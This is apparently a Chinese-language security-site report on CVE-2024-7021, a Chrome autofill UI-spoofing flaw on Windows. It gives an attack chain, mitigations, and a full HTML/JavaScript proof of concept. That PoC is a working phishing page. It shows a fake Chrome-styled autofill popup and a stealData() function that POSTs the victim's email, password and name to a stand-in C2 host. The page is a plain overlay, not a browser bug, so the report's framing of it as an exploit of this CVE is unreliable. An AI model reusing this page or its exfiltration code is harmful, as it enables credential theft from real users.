IPBUF安全漏洞报告
English
CVE-2024-7021 CVSS 4.3 中危

CVE-2024-7021 Google Chrome Windows自动填充UI欺骗漏洞

披露日期: 2025-11-14

漏洞信息

漏洞编号
CVE-2024-7021
漏洞类型
UI欺骗
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Google Chrome on Windows

相关标签

Google ChromeWindows自动填充UI欺骗UI SpoofingChromium前端漏洞CVE-2024-7021

漏洞概述

CVE-2024-7021是Google Chrome浏览器在Windows平台上发现的一个中危安全漏洞。该漏洞存在于Chrome浏览器的自动填充(Autofill)功能中,由于不恰当的实现方式,远程攻击者可以通过精心构造的HTML页面执行UI欺骗攻击。攻击者利用此漏洞可以伪装成合法的自动填充表单,诱导用户在不知情的情况下填写敏感信息,如用户名、密码、信用卡信息等。该漏洞的CVSS评分为4.3,属于中等严重程度,需要用户交互才能成功利用。漏洞影响Chrome浏览器在Windows平台124.0.6367.60之前的所有版本。鉴于自动填充功能在日常浏览中的广泛使用,该漏洞可能影响大量用户的隐私和数据安全。

技术细节

该漏洞的根本原因在于Google Chrome浏览器的自动填充功能在处理Windows平台上的HTML表单时存在不恰当的实现。具体来说,浏览器在渲染自动填充建议框时未能正确验证和限制表单元素的显示方式,使得攻击者可以通过精心设计的HTML和CSS代码伪装自动填充建议框的外观和内容。攻击者可以创建一个看似合法的登录表单或支付表单,当用户触发自动填充功能时,显示的自动填充建议框可能被攻击者精心设计的伪造界面所覆盖或替代。由于自动填充通常会预先填写用户之前保存的个人信息(如姓名、地址、信用卡号等),用户可能会误以为这些信息来自浏览器的正常自动填充功能,从而在伪造界面上提交敏感信息。攻击向量为网络传播的恶意HTML页面,无需特殊权限即可利用,但需要用户交互(访问恶意页面并触发自动填充功能)。

攻击链分析

STEP 1
步骤1
攻击者创建一个包含恶意自动填充表单的HTML页面,该页面利用Chrome浏览器的自动填充功能触发漏洞
STEP 2
步骤2
攻击者通过钓鱼邮件、恶意链接或被入侵的网站诱导受害者访问该恶意HTML页面
STEP 3
步骤3
受害者使用Chrome浏览器(Windows平台)访问恶意页面,页面中包含看似合法的登录或支付表单
STEP 4
步骤4
当受害者将光标聚焦到表单的邮箱或用户名输入框时,触发浏览器的自动填充功能
STEP 5
步骤5
由于Autofill功能存在UI欺骗漏洞,恶意页面通过CSS和JavaScript覆盖或替代真实的自动填充建议框,显示攻击者精心设计的伪造界面
STEP 6
步骤6
伪造的自动填充界面看起来与Chrome真实自动填充建议框极为相似,受害者误以为是浏览器的正常功能
STEP 7
步骤7
受害者在伪造界面中选择或确认所谓的"自动填充建议",实际上是将敏感信息提交到攻击者控制的服务器
STEP 8
步骤8
攻击者成功窃取受害者的敏感信息(用户名、密码、信用卡信息等),可进一步用于账户劫持、身份盗窃或金融欺诈

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2024-7021 PoC: Chrome Autofill UI Spoofing --> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Login - Chrome Autofill Spoofing PoC</title> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: Arial, sans-serif; background: #f5f5f5; } /* Fake login form overlay */ .fake-autofill-container { position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0, 0, 0, 0.7); display: none; justify-content: center; align-items: center; z-index: 999999; } .fake-autofill-box { background: white; border-radius: 8px; padding: 24px; width: 380px; box-shadow: 0 4px 20px rgba(0,0,0,0.3); font-family: 'Segoe UI', Arial, sans-serif; } .fake-autofill-header { display: flex; align-items: center; margin-bottom: 16px; padding-bottom: 12px; border-bottom: 1px solid #e0e0e0; } .fake-chrome-icon { width: 32px; height: 32px; background: linear-gradient(135deg, #4285f4, #34a853); border-radius: 50%; margin-right: 12px; } .fake-autofill-title { font-size: 16px; font-weight: 500; color: #333; } .fake-autofill-item { padding: 12px; border: 1px solid #e0e0e0; border-radius: 6px; margin-bottom: 8px; cursor: pointer; transition: background 0.2s; } .fake-autofill-item:hover { background: #f0f7ff; border-color: #4285f4; } .fake-autofill-item .name { font-size: 14px; font-weight: 500; color: #333; margin-bottom: 4px; } .fake-autofill-item .email { font-size: 12px; color: #666; } .fake-submit-btn { width: 100%; padding: 12px; background: #4285f4; color: white; border: none; border-radius: 6px; font-size: 14px; font-weight: 500; cursor: pointer; margin-top: 16px; } /* Real form that triggers autofill */ .real-form { max-width: 400px; margin: 50px auto; padding: 30px; background: white; border-radius: 10px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); } .real-form h2 { text-align: center; margin-bottom: 20px; color: #333; } .form-group { margin-bottom: 15px; } .form-group label { display: block; margin-bottom: 5px; font-size: 14px; color: #555; } .form-group input { width: 100%; padding: 10px; border: 1px solid #ddd; border-radius: 5px; font-size: 14px; } .exploit-note { background: #fff3cd; border: 1px solid #ffc107; padding: 12px; border-radius: 6px; margin-bottom: 20px; font-size: 12px; color: #856404; } </style> </head> <body> <div class="real-form"> <div class="exploit-note"> <strong>Note:</strong> This is a PoC for CVE-2024-7021 - Chrome Autofill UI Spoofing on Windows. The fake autofill popup will appear when the user focuses on the email field. </div> <h2>Sign In</h2> <form id="loginForm"> <div class="form-group"> <label for="email">Email or Username</label> <input type="email" id="email" name="email" autocomplete="email" placeholder="Enter your email"> </div> <div class="form-group"> <label for="password">Password</label> <input type="password" id="password" name="password" autocomplete="current-password" placeholder="Enter your password"> </div> <div class="form-group"> <label for="name">Full Name</label> <input type="text" id="name" name="name" autocomplete="name" placeholder="Your full name"> </div> </form> </div> <!-- Fake Autofill Popup that overlays the real one --> <div class="fake-autofill-container" id="fakeAutofill"> <div class="fake-autofill-box"> <div class="fake-autofill-header"> <div class="fake-chrome-icon"></div> <span class="fake-autofill-title">Select info to fill in</span> </div> <div class="fake-autofill-item" onclick="stealData()"> <div class="name">John Doe (Saved)</div> <div class="email">[email protected]</div> </div> <div class="fake-autofill-item" onclick="stealData()"> <div class="name">Jane Smith</div> <div class="email">[email protected]</div> </div> <button class="fake-submit-btn" onclick="stealData()">Use selected info</button> </div> </div> <script> // Show fake autofill popup when email field is focused document.getElementById('email').addEventListener('focus', function() { // Simulate delay to mimic real autofill behavior setTimeout(function() { document.getElementById('fakeAutofill').style.display = 'flex'; }, 500); }); // Steal data function - simulates credential harvesting function stealData() { const email = document.getElementById('email').value; const password = document.getElementById('password').value; const name = document.getElementById('name').value; console.log('Stolen credentials:', { email, password, name }); // Send data to attacker server (C2) fetch('https://attacker-c2.example.com/collect', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ cve: 'CVE-2024-7021', timestamp: new Date().toISOString(), data: { email, password, name } }) }).catch(e => console.log('Data exfiltration attempted')); // Hide fake popup document.getElementById('fakeAutofill').style.display = 'none'; alert('Your information has been saved securely.'); } // Close popup when clicking outside document.getElementById('fakeAutofill').addEventListener('click', function(e) { if (e.target === this) { this.style.display = 'none'; } }); </script> </body> </html>

影响范围

Google Chrome < 124.0.6367.60 (Windows)

防御指南

临时缓解措施
临时缓解措施:在Chrome浏览器设置中关闭自动填充功能(设置 > 自动填充 > 关闭所有自动填充选项),或使用隐私浏览模式访问不可信网站。同时,保持浏览器更新至最新版本,避免访问来源不明的链接和网站,对任何要求输入敏感信息的表单保持警惕。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表